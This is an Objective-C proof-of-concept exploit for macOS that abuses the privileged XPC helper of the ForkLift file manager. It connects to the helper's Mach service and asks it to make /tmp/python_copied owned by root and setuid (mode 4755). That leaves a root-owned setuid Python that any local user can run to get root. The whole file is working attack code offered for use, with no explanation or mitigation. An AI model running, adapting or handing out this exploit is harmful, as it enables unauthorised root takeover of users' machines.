// // main.m // build // gcc -framework Foundation exploit.m -o exploit_chmod // // #import static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper"; // The protocol that Forklift will vend as its XPC API. @protocol _TtP4main21ForkLiftHelperProtcol_ - (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3; - (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4; - (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2; - (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2; - (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2; - (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3; - (void)copyItemAbort:(NSString *)arg1; - (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2; - (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4; - (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2; - (void)getHelperVersion:(void (^)(NSString *))arg1; @end int main(int argc, const char * argv[]) { @autoreleasepool { NSString* _serviceName = kXPCHelperMachServiceName; NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]]; [_agentConnection resume]; // run user script as root/ [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) { (void)error; NSLog(@"Connection Failure"); }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){ NSLog(@"Reply, %@", err); }]; [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) { (void)error; NSLog(@"Connection Failure"); }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){ NSLog(@"Reply, %@", err); }]; NSLog(@"Done!"); } return 0; }